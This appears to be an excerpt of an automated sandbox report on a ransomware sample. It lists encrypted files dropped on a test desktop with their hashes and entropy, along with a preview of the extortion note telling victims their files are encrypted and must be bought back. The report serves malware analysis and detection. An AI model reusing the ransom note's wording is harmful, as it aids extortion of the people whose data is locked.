                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.852452791038263
                                                                                Encrypted:false
                                                                                SSDEEP:24:p176B8Aexod4eshrC9mcYxeHaLUHIkljJ9GCjdBKN6LIBeLeJ/BGu1HrTfu/AcJl:X76B8AeOqeshq2SBo6jJVj4gLE/kcLTU
                                                                                MD5:1A71DE026DA95D587C107846010C8274
                                                                                SHA1:947410F7782D33D24F3F8A94F0684F67EB64811F
                                                                                SHA-256:84595606AD9E0CFF2E35F2767A62DC923A0FDD1D38ED115276AF72F3CC3A38D8
                                                                                SHA-512:74F79472BBB6498058CD3E5C11C9275D266783695B7EAE69CE00EBB0FD3DFCC7D503BD14982DAD9FC71DDF3397DA8CD2567466C75148FE5C1E2D34E11B09D970
                                                                                Malicious:false
                                                                                Preview: #io...0...@0.A...2..>3..../s ..P@.}<g.....T.!.X.....h......P.E..S.....k..S....:-w.e!..T..Xq7......+.xX.%[..)H..:.7.a.....E..Z:q)....8.........5.;...c...0....`..*K..T..[*h..u.....b.....q.uT..0..`CA...@....'m..c9...6..........e..n..l04.=..A1l.Y.......QP..w../........<......Ax..'N.G......=.....X..T.f.S{.-..y....&.._....0.g.S...=.....4!........-q...4...;zGB..I.'n.!..m..P.p<.Y....)-.......N.(.T..o.bY_.hA.....R.95.{9}..+k......!m."g.>3..s..l@...?...=..}{\...q.>h.W....-O........B.....].t.y(.1...bn.s.u@...#O#.d..O....v.4K^.E.0.8.*..e..U~W.,.Y.....g^c..{.wN|.R.K$..9..G~..v...^.+.O..=v.....wat..m..dT ..iRG~...._d.DXC..?..J...z......e....@k.wc....P.,..j%.o...R...=R.1........1SL.N....K,........sN..\.....T&t....[V....ov....5..j..C..9;.|f.OT`..}.LXM.Qw.9v.B 5.GxG.9....@...E....Hu..*.c.....Z...|...&.....Y......e..D...s.47p............3..:........Y.l...M2..,Q.G..w....h.Sm.E..+...7..Zc..2.G..^.u.a*..........R.n..B.i..O..qQ../.p.!.........M#L yt.
                                                                                C:\Users\user\Desktop\QCOILOQIKC.png
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.840876902588262
                                                                                Encrypted:false
                                                                                SSDEEP:24:0Ie4MBsj0HLdT4+ooKEgYChPF+MLFHA38J63v/r1jrTfu/ATUliMI:0IpMGyLdT4+ooKEg9PEEAFr1nTfu/AUI
                                                                                MD5:DFA5385DD00EE662EC63CFFB76F5400E
                                                                                SHA1:C3B6FB637CE4F67977E39BC8A2FCFE30421F23C1
                                                                                SHA-256:214A2D562F098D38D26516F2CCD5CDFC8438BF1C00EC189F9E5DA5DC80063279
                                                                                SHA-512:23E0FB85B5348AA240C353EE3F1A98B53539A9D3B8C4517517155BC37073A7550E382FD7102097484334748056288C463C2CDE5A319479CE39984388D4D57529
                                                                                Malicious:false
                                                                                Preview: ....Om".n.*j./.n.................{.....WZ...k.X.....2..J..jKZ...g.d.Zd...S...+....~..........#.......z.|..2.F..|<......r...eW...jj.........o.c..`........9..R......'...9}.4......J..ed.....6..I.lD .8F./...?=@.%....UP..1..6;.A.".k..qMC...b...<_.u.U..nK......x.=.T.f.u.+/......~j.k]...o....2.L..a+;.E`r.@...r/-.d..H#..{v.$.(|..a#a0K-..l..6MB..N..'.z[.V....{\.G.L...W..#....;./L..GjO...K.X...>...l.p...m.Q..8........a.b$...G..h;?."3.!..K..eE.3....M:..%.k.5~k.z.`k...0.MCg....>2T..rr....y..Swq...9.>K.d.&..&.s.p.E|..]P.U.KLA|C...I.....$4G+....q3%W.#J<~..D.B...n...F5.g....#....(..D.F..n.~c..kZ..M...3...~....o.UK.q.7..?...Dce..N.$ksq....^...O........Q/.....b.R...g.D..h.'n....1...P<w7.../.<^...~ ...}.$.lW.yi.N..+..fVy......o.6.K.N.......At.0.&........9....u.8.om...K.....\R.Q...Z.K......m..e..FT .(wQf.._.N..@........~....~...K;O..+.v.g..\05R.r.^.....!g..&......p...2..Hv..p.GoSI..T/J.p..WA.k..3hs......."..t...H1.6.UMG.2.c"..v..=.M.Fe.$.m.r.b..<.|M ....4..
                                                                                C:\Users\user\Desktop\SQSJKEBWDT.docx
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.861082829151161
                                                                                Encrypted:false
                                                                                SSDEEP:24:fGmXbGcn1BQZP5iwOc8s/NK1GNhf0WmDBRw7xUJTr1mC6Z3NrTfu/As:fxrAP5iwO7s/gYXf0WwOOJHsC8Tfu/As
                                                                                MD5:46964B2862E3336FD133C2582511F278
                                                                                SHA1:8786E851443EE7046B434E9B4A3848B6EEE86ACF
                                                                                SHA-256:738ECC8BAB9D6869E62BDF2A69EE6A87D642B0F19B52CB85C6BA68F2F1EB3735
                                                                                SHA-512:6E7FB03700696145D6918E86A310518C4BBADA412CADBD9DFB97F2743BB20977F8E857608F6CF7E8A37B78C57516CE0EF116CBA66C7635D3724266335F66DCF7
                                                                                Malicious:false
                                                                                Preview: .w_..p..8R3..~.$.P7..eb>j5........$....?.JUg..5..b..\..!0..kd".u\Oi.......]..v.8.i.m&s#<...vN.!..v.M...B.......N.h..A.4.yO....+..c..K...u=.......4..-Z.`A.&.b.HM..FT.j.d.c.Tr.@..".P{........u...`.[&.....hv.......B.|p..a.:.|/].v....n.qJ.l.tF..0..2-I<...9./.$.,ZC.)x...l.~...% ..D.V.....,.T.C.....V...^..........6......JY.NV..v.Z...=L.V....k6........9..{.B.H*6.O..bwY.U...5.\....b......CV....N.C3..T...%..v..u=1.z6.8e)s..?....M....N`.....Vs\e..`.A....*......;,.....-H.D.^F......z..S...r0..=....;=.-."...lm.6........e.[.D..0..B.y...xZ..^.....-.d.......Q#..jw5'1..3..p..M...L..|)..|D'.P.rk.E9../....5.+.......GcP....!.z>..2......YY......X...a..q;d....Y<[....E......#9ht....b..h.!$..ZG.'..t....U.;y.....t2q..y.$....4.j.......<.V......L.J]~.3.....0D.P.B.O.H"%U..x=........y.A.Z|...W..|c;.....N.G....\MyG..38.<@.3.'|.#^.....mR.1.bw..Ig..m.R....c..3...@..:.klF..Q..,..a..!..}~)S....}W...9.7..'!.U.H.....^...@....v......^m.|......7.#A[.Jw..-..g.@.V\.:..u....p......
                                                                                C:\Users\user\Desktop\SQSJKEBWDT.jpg
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.838546687791939
                                                                                Encrypted:false
                                                                                SSDEEP:24:wZVsuWuoVN8WPAigd9+SULPnRjfLrbDHfBFgUj5rTfu/AsUH:WooWrgd9+SUPxzPD5FgUjRTfu/AsO
                                                                                MD5:38FF046420F616B6A1B34E0905C4F8D8
                                                                                SHA1:C27EC1AF12EE0424868D68D12E0FC8F22D883066
                                                                                SHA-256:2D2614F359F2AE949AE9E8AA17092DB4BA517013CDCFA60E1C1513227D712F79
                                                                                SHA-512:9E4D98841162082D4CF3C235BEBA6248EA68D2C96AC62DF29D7C1E04B2370555FE6F0C7975973BE1351A57F622EC748D618461A6623AF8EBA39F6DA3E9D01460
                                                                                Malicious:true
                                                                                Preview: L.~..?.+...Wy.;...........:.v......]^aU..i......n`d..)..V.<F._...GOR..Wi[.\....C.b.A........Y.;}_.l..e...".X..@.k.P......*.q...l.4.j.f.T.nm.|..t3...%...p#n...8..l..=.g..!...$...P.I..G+..........bRm.v.b..w........e.6.U.g....b/.... L....."F.1.......x....c\...J\..k...................6....R\x..h49<._..i.G..mn._*..J.*....U+T,'.M...[.]Q...E...F..B...~Q..KN:.7..p.z...P!.Y.ae...*...o.[.Zc..p..WC....ch...Y.{.....9`.>...!.e.F.p........v.4..<....c...?o.7Cf...(.....vm...+.$...j.. .6......wUz.w....&...`.,....?.....J....Fn..Pey..x-.....,.K^...*9.:..v5..Y.O..?..$..U..I."&..4.X...N..E".......vp...`@\.RI...............8.k..Gf.\..=......Z.U)...cU.h....2....'.........f%w..^.L....Yx.*@0..5q....&..}#A.".le%.&*.@.:t.?=..t.B_....l.[.c>....b..U. .Un.h$....0..!W.J.D.F.0=<..jd.....E.7.............7.@.@......[...l.zm.h|.}...)....u.3.ej^A..W.e_%..d.T.{.#?...f......R...NM..Q*.J.?..7.m>. |..'...:6....t.s..b%...._4tno....c.=......5.....!...E~..I.n.(.}. ..X..L.....
                                                                                C:\Users\user\Desktop\SQSJKEBWDT.xlsx
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.833330652122826
                                                                                Encrypted:false
                                                                                SSDEEP:24:9sjSJe0Adiol8zCj9J1eoFlNnzn1SSAXxygmGf0YuB/x8rTfu/AQ/:90sQiQASNnLw3fsTB/UTfu/AQ/
                                                                                MD5:3BDB78CFC97AA2618BE6D65806932FFC
                                                                                SHA1:FB92B6523AA3F25E422ADA131F8F86A4EBA24E5F
                                                                                SHA-256:07816BDC1796660D08CF0906CFAAC2593821E33B3276E9956F61E37D6D4E8B2A
                                                                                SHA-512:4C1E6962FA661F28CCC10B3E2F7B833F97663DA5B551806C08905EB9A2F6B7CEF06BC3388C5C70678BEC9092BCAEC0805292FA57FCB8554509F70AE253D622E7
                                                                                Malicious:false
                                                                                Preview: .-"..T....L.O.u..A...X.....P..$.A.eT.95.!..?..%.Si}.u..]0j..< &.g...X3....c.%:.M....~.V.lb..$.6e......s.|..zNy......9L....q.[....+......,.E..&._...%r.YN...7.e.bM..=..nHX=a..lI.=...Ai.!.V.]..|..d..&..{...+.%n....?.N....1....J.O,Ir....V.I.(&.jva.b..s.d ..lh,ti........@.,.=...D.%W..Neb?.....r .......f..)T.w0...S>D.Yw..;._..'\..o.vo+^nC.;...F..p$q.:...R{F[.uK..J...U...i..g..3i.N.N.t.......pp... )..e{..Rgb..OC..$>.BTn...M..T.<..L.+4.......@..0..z.+.3......3..6M.KD..=>.2..hD.X6wS....w..H...L.....y._h6..j..........)... +0|)...6X.NB(:.#......o...~.o...,^..R......}.r.....f.3.<.....+v....''.*.O.-.?0...?a1.9.}Jy....?.)K.[..w..d. ."...o.Q.1G..-.[.....)....*T.k!....1.Kg..m.n..k.............H....f..;.+g..U6......[.....'.y...4.....d.f....WC.....e!..6i"t@.k.....g...#u.%..JHx.{..@...CP..Z!.PZl...)...7.?....u..g&X.~77z..# ..ReI...4....."-....?.!EW.0....j.wlMx.....qG.IJN.0.E'...^..Rw..w`...O.".d-.=.dk5\ .....o.m..7.^.l..ZD....y&.-e....g..~..N%.B._Fw.V
                                                                                C:\Users\user\Desktop\SQSJKEBWDT\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\user\Desktop\SQSJKEBWDT\CZQKSDDMWR.mp3
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.84411041942601
                                                                                Encrypted:false
                                                                                SSDEEP:24:+77znyRGGg2Sr/99dsGiXrSxepkh5zYidSMDkVo0rssoqrTfu/AV9:+/IzgH76qfhhYAkVos5BTfu/AV9
                                                                                MD5:7EBAE54167D6A51B0E62579E48B51660
                                                                                SHA1:C9D6B41BC9133B903B493B367F41676C70F1D0ED
                                                                                SHA-256:3FF48882299DD9CF661D9C2C8CF8DC6F46FABFDEF9EFF3650AEB0B487CE622FA
                                                                                SHA-512:39E45EF54647CD317896D157269F12C39D2631CB024CC0238D151FC065342D40A3ACEB14B5B7E789DD32D04CA163B15C688009B8BF861F5848336F1047673690
                                                                                Malicious:false
                                                                                Preview: .9..Y:.]-.T=...tk.T.&h85\..%\.%.!d......0....(.F...G.~N...sm......=.T.=}.3..M..x.9.....;..[...?...>....M.m#a..!.>o...^Zb.Q.......(#?..g...W..0.....l....a.........q.b.5S.z...'.~.....?.Y.h...B...9]..U!.TR.Ol.A.Z..P.y.G..R..S..G.%V7......z:.u......s..frWw..K..o..5...3...:P....3..L!.k...R..,.5*!l...\....Q.5...c..W.T. ..v....t.|U...A..y.*.&.x.....M=DX.t~J.y.s.u5..5.........o..F..$....9......_.A....X.s...'....W...;mb.1....R._a..a..'.|El..}.1...A........'.]Oq6aC...-q]|....0..V+....t..50b.......j....9}h>....DW.H.[..b.@t.+.6......l.....4.3.=.K..y.L.....D...[9d...S..E.,n......P}....P...(..k.d..k.@....:....Q....2..,a.....I.......~.(.8..,V.....X.7;..Y..Yee,.8..f.r..X$...^.......r......#..ww._.1i...?.... !.QW.....E..k]..7K....@...#.kv...c.......X+".."..I(...C..C.....K....5,D....'(..{x.L`...)t.h.r....P8.(;.U..gaZB..!M,JvM........H.Z..8.2.c>.+..K.|..<._.E..D].6K...GH...Ch..Fg(.:...z.Q..T..0*.@.w:>*3.g4..._..!.z".....+.u...r.Z..:.......z....
                                                                                C:\Users\user\Desktop\SQSJKEBWDT\EOWRVPQCCS.pdf
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.846665036685523
                                                                                Encrypted:false
                                                                                SSDEEP:24:WpoQncMkE2Lnkh1aPC7ANOrVgZtuPdKKhW71qn+AFh761O2ShaKrTfu/AOR:LuMY/ANEVMEvhWhqZt9h3Tfu/AU
                                                                                MD5:F2E786E30AE6FE96FD0FF6B0A1A22584
                                                                                SHA1:99B4211EC8DBA76A64DF2347FBF2630857F8C3AB
                                                                                SHA-256:635D270F054C154E639A80E5C974C1D362300F8C6BA7E2C6C066235FD23F1A27
                                                                                SHA-512:08F780BD40ECBBA024EFBDADD4895CE30396561BC61A249825D9D12125E8A2B8B35E76C6C96FE17BF146096EA456350CA876A1B1B729F7635F650C64EBCF1D15
                                                                                Malicious:false
                                                                                Preview: ....~Xe..S..wl../j....[z.7...;...O.,\O.....?P.r....g..)..L.n..S@-..v.0R.....^9........c^G$7.7.)..>.HX.m...~Ty~i. G..i...a.....!.0K.6.V..5.....).&aH......,.m.,.s.."L.G..6=..Fq0^F.toRuB....N)-@`......8./;f..Hu.DV.....V. z.dm.....Z..A.Al9g...._.d.&k..9.{M....X.u.m.;.U1..W..ro......C...B..G..?...cf.8....8....m2.......|.....F}).UFI.t....Z.-8...(...o....+.........Ph...C...v.p.`.N.H|{...RpR..7R=.E.K.a.c.R`\..R.R.....R. xD..2().WdF...S.!.W.S.w.....z..>..K.... .X.....Z.0H.0..!...2..eoq.cr....e..F..|....V......077.p..m.B$.H....I..+$..;\......s....I.'.k..+......]..=.......Omq1V.d6....GD.9.....I,..}.x...g.s.......]..._.y.&..6.['..A...z0...C......-.1...X..D..8.d{..^......QU.....K.....4...g.%/..|..%].....U@$2.M.G.._..[....\.+.E...1..y...B....... /.p.4Q..1....QX.1D..n.e........rk..w.t&3L...=A.X...{;....;`.....F..m..B..H[Z!..P......{.g....E.l.i..1b..)A...%G.(.J..g.FR}P...p...;.......e.^....b....E....T....L)..1...-.x....SXwx/X...}.!..+.."....)v..}..F.......2.E.>.....
                                                                                C:\Users\user\Desktop\SQSJKEBWDT\GIGIYTFFYT.jpg
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.830831138467228
                                                                                Encrypted:false
                                                                                SSDEEP:24:1FQKzeDK9L5Lf9Lx73hTpx2hxhp5IvPpDSE9Omg4T45QXsMFdrTfu/Af1:1yafV92fhgpDZOmvlTfu/Af1
                                                                                MD5:8095E3E96C132CFD47969A7F024FD011
                                                                                SHA1:3AF96C8206C06EB23DC56E81A6309D9AB0E0D4A7
                                                                                SHA-256:3DA5E79D9554CFF36E8C060157DDB8FA30D57E77051F313F86538AEC804EB1C3
                                                                                SHA-512:732228C9195B11E5C3E4BC896723A91A9292A71600BB4A4025D176A6EC532D10707D47FC6D23F0A9A24AD28844E24E6DD88CE47F38790A94B9FCDBE9C6D7CACD
                                                                                Malicious:false
                                                                                Preview: K....LS.....%..T.y*..G._..3......=.}K..m...W.o....x.r:H.`..7._4.p...#ipL.BKDr'Uo...A..ee,..x:.Q....U.U!..E...n......aM.f....T.r.B.k0O....){*9|...O..ap...A........T.{......&m.y..)<}.t...m..)...A.@..v~...(1D.lw...F.3....P....j1a_..~U...7..2R^!.4......bS....#.{..>..&R........w.`u......mk1."...\..^*3.h....S............n.bT1z.Zx..y.V=8s\.;v.P3~..Z.MA.[.m...!M...m..3.{7.....!c.....x.zq=}..S0....TM..?......:..q.m...%,...s.-g7..I..aW....,.}...&.m.L.)...y.K.......x0...1..... I.Y.%..Ct+".T9.k....y*.%.#.....@Lk.....t.`9?.h.sB.h..N....H......y..V......e^..l.."...D..+Z.:.6`i,........[1.?.}.R..r.2.E ,M.F...,~....T4.;W~..z._....m%.R...%[.k.;?jM&.D..'........p..R..2.. "..c....v:.(..Nu.;O.8....o.,].~.q......W4!...IZ-k.0....}"I.=Sl...A..!.....:.O....e..}...c.td.l=...Ob.O. ..1...Y1.[....;.,.l.+.l.P.zY..o.....[s's.....g..|)....+.Q..^..y.g.`V..f..r'..y.....N...p.t...b...A...,.>.<.:....C.|...<...).iV]..u..i.g._B.b.-9......./.Gk........U....yG.....r.r&
                                                                                C:\Users\user\Desktop\SQSJKEBWDT\GRXZDKKVDB.xlsx
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.869044750079766
                                                                                Encrypted:false
                                                                                SSDEEP:24:gs7boEc1ydleGxLxdfux3/XoP9tpBeFaNUICwurtSo8q3RRrTfu/A1T:gUboEckveuLxdfuBc9tpBeANewuJSIBR
                                                                                MD5:EAB240EBA24A5D13825C0253612E4738
                                                                                SHA1:47B0DFDBF6CDA1042E9B9D7B28E4C0FEC84DDEB7
                                                                                SHA-256:23CA734619E3995570E68D1AE5A2678F8B1B0F07B8B0EB401F2340B545C971B8
                                                                                SHA-512:E2445503ABFF02B8803B07E1C351F8E05E0BCACD621365E4450D7D305F4EFCD57350F96028FA63E0E5E13F347725534B17D71042B27FFB8618C74E92FFC47AEE
                                                                                Malicious:false
                                                                                Preview: ..?.W......<.A0..C..*..'...<l.Z.s..46.Dd...w.=$T.....+G.o..TM.R...K..w...+4. .,....,..I.'..l.. B8..~..........A...H.....A..{`_a.aN..Qr...I.{$ZQ...H..|.&WI.~.\..41..sx...m....>.....}P.4.&l..+v..h...hUL.((~....E.....Z.rR.O.+...U{.j....9c..WB..!ns.2...b.."..~....ui.0.r..6E.U^=f.t.'..1>s...5..1F..o+c.R.....erA+..K-'..8<.y.w.<..%.-..V..3./.....;deo..4.E.>.......u....V.5......Q.Z?..{.W.I.4..|Z....;D..S...M.....v7tA.j........v...=..k......;.<.of+.>.ut87..r..i...b..x.\..g...."..T..z.(...m..g.).H...DF..0..._.V...[R .........067d..N.{..8.;/7f.*6........M.C..<.....%...*........(j.b_wVW....z^0}.y*{i.97.:y....E.D&T.....g.$.huck,b..13y!1s.....Ft....V...]...Y......}..]..l..Cg.y.DW"?......2..lR.....M..0{....h.V\.C..?....g]|..k....".9.3.&...0.*....3....(.E.....8l./N..h.{...*.OW|)\.@n....*.u....u.i..v..m....e..4\.~ba6.c)..-i..k}z...LN...F.&..n.TVX$.q[H'..[i..aR=.m..lF.-..v.%.^I.....:..&lOSY_....;F[.+b.w.=.....E\.l.K.P]- @[3...t.p..s..J...B.E.?0A.y.B.ug-
                                                                                C:\Users\user\Desktop\SQSJKEBWDT\QCOILOQIKC.png
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.8390490407119096
                                                                                Encrypted:false
                                                                                SSDEEP:24:cfOhabGXcR0fzrjGf2hG0xlVc1UAZHk6b6dtNFIkJVNDv6c27EPrTfu/A7Jt:wn6Xq0rrjCCCHG6UNTV8uTfu/AVt
                                                                                MD5:E3A6710C2D0380A9F474574A32263FFD
                                                                                SHA1:2E6754D55A790038BE3981D5E8E830866F72798E
                                                                                SHA-256:3E03659516BC6E02E62EFE9FAD4ACE1830358B35410347A68439858B72284D3F
                                                                                SHA-512:5A9ADACA580E30EF7A3BDFBFFAFFFC19C2C0A78E19E071BCC45B39F56E9BF7F07FA80974D001F29ECE67930A73DA5E099D89F967F9AC196DFF8603178783B91C
                                                                                Malicious:false
                                                                                Preview: .z...G...0.[.6..@.7..._......!E%.J{1C.....'.gL.b =.>.+.*...j+.a\....ZX0.b...Rj.3.d..j2..97.>M..z....4.)..MK..$.b...B...*."%(..!.c4.;.1.B..Y...D..v,59......J......#...q..v...P.RbW@aj...}.I......t........Z6.s.......G......U.z.4.....L..........M.s=.s.9...6.......}....LD.........'(.3L.9..... ....^...;...bi..iJy.+.|...|...`...+WV..7CY.r.5....;,4..=,...$..M.#.{....%....r....E.\...._....p..W..k.WTt..r.{..}..,.......!.=.]I.........z>,R...t.SY]D._.*.8u......e.....5...W.."..s.T.%T/4..#...h.x=./i.Q....q.....i...>r......#.R.N...p.y..P<....o....n.{'...@L.....a......H..S...n&...t c.....-...uR.}.)..f..}....v...V.. X...k8.<...@...;.a`..d......9..T....3!{....u..P#......c...x.ex.yh.=..c......a..b.q%....s...8@0.},......2S..2..2P$....~...3..j3.3..=...:4d.....ib...wHq..cN......p......3.)..c5.i$tqAa.. xQ$@...R.p........!.....V......q....j..A....]w.....c..a`..b.\..B...}.......f%A.He...S.{;.*....VO...R........1........dQ..7.....^U..t!Oe...UH..gZ..
                                                                                C:\Users\user\Desktop\SQSJKEBWDT\SQSJKEBWDT.docx
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.860763571365688
                                                                                Encrypted:false
                                                                                SSDEEP:24:OlboxoftL9YTcCsE2dv21MLJECGCanzmmuxe+UMoVuK8Lb1yk1rTfu/AtQYt:OKofMTRpuEC4lBluKcb1Tfu/Axt
                                                                                MD5:98D07A6B5C6CDC265C7D42F7BE55354D
                                                                                SHA1:3E7FD248EE5AE28A627C9C70DE8486F04AC9C181
                                                                                SHA-256:106036D0BA3700C6A087F30204F59F749D9085C4DB5DC7BE3F7938CB60BC6BC6
                                                                                SHA-512:6793FFE33295214FBDB4ECB223A8D31B643130E6F796781FA584217AF24E1B83CF03BD4D2681C83FBCB98048E11640E9984071C3AF7BCC7C2FE4EF7C265B88F1
                                                                                Malicious:false
                                                                                Preview: ...aZ0Fy..y.O.1...~.9"9G......7.4.~S.^..`.q-......r.ZQ....+.$....g.-.O.S.0./r.j.SK`..9|._.o..{.).n..SxmRd../>.......n.2a.~.....Z..(%.Fh.61....X.bz...5..@.d....o.E.J...]o.s.4.2Z.=..C.l....!>.s.....~.{Ah..9.........1c......Q..F...y@..ig...0...F.....T$..H..8.......q=....M.'......Z.N..b...,.19J...F.WA.....}.';4W......e..........IZy.'.r.j.........b.Si....h..C.K.l...u................h.vV..8.#...4)......cxo...y#./..!.s.:g...:'^... y3.N....![...&..{.K.lZ.d.f..R...AM...B..%IDq?]WAR.M......zM....d..z...84..7.......G .a...."..w.K.0..F....a..Q1@..8S).T.....Mk.{.......\.q.4...c..}.+.y;,B..E.+.$$+...uoD.E+..T..ei%...iE6.N...3....*...=k.*.....w.,K.......+M..k./:m... ...t...J.....B.le.&m.....G.....x..`u.o.N?(._q8$@.K.+..t.<..#D.m.l...<oY..$.&"=5.T.....\...#..{%,.3;...!...?.....uo.&.y..........z....'>.L.0..:N...g>....w..IBY...U..3l..P".RC1F=G.g..`V?.../B..XN....J..Zt.H5Vz..v.$..h..n..j....CC....c@..\..5uZ.......R.`.J.!.@.5.........M..Vm-.....6....
                                                                                C:\Users\user\Desktop\SUAVTZKNFL.docx
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.870912676507251
                                                                                Encrypted:false
                                                                                SSDEEP:24:vF9o9TaE0OQhF9RoQ8NUKGuGRfsaGg+pAIRGRH7iDsQiEtnNgCORvgIrTfu/AWv4:LhFzRDuCEaGgUAoEIRnktTfu/AWv4
                                                                                MD5:A5FBF1400AF7804AAE6511959D59071B
                                                                                SHA1:0686E8449FE23033FF3CB136C7E07A411FD1EB91
                                                                                SHA-256:48C69835525C57C599E304D997EF23E3ED31610F0823B69E3DB6094274682C1E
                                                                                SHA-512:CC02407A09C7C6E14E2CCECF39CC7231619C2B2D0B2D5A9C19B14501AFDDB2E887DA33E316AF8BF08BC7AD78143AA5437405CF7A153459BFCB4E03D4978832E1
                                                                                Malicious:false
                                                                                Preview: '....._w!M$.i......r...8.;......d.)Xwn...........au.../[,.Z...f{..6....<.....G.j\...u.f;s..]..YJ.l.....E..&F..^...[...x.N.)..I.})..~..m*.`Z.+[$o.;....3c,....V...&.......j5.R..kz.b.=..h..:..x...V$.......H..g...S.T}..<&..........8..dv..z......({.l.._..]H..$...@.i!q.l.[.5.......n..v..5.|<Dn..............Ow.;.A.........d.9Jl.)*.DU....X"L....^.?.....c.O....mq. ...1....>..G../...5......0.X.O...a.,.C...J....;.4.....UP....)U.9.9..... oe...:9.*d?[...1&.2i.1&I'0l....o..qA..].r0.......Z..}...IiI.....{..7.v..t...9....Fl.?f.ZK......Q....+*\...3.....w.Q0l..&#.%.Y.Y.D).3..`.EF..pd..X..}...E6.9..l..1.$..F..~.y.k&....,.@.H.Y...n..x.$.,...RO.E.......p(.y..o.p...+lw. 0...%xJ_.^.'...`5_.c...m.....{.c.W...&...n.rj.+.R(....q.h...t.f...V.)m..e9V..........a.}... ...,.-..L..$.k.?--...yo^..N1.`B......>..Ib..5.nKr.m.;3......MJ.x.T.H.P..........w..(...Qt...M..If=Kd....,.v...X....#x...\'....1..g'._.s...a....U5.."...r.V).......}...ju.Y....}$o[.....W.q..l..;....eF...F.)/...m:....
                                                                                C:\Users\user\Desktop\SUAVTZKNFL\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
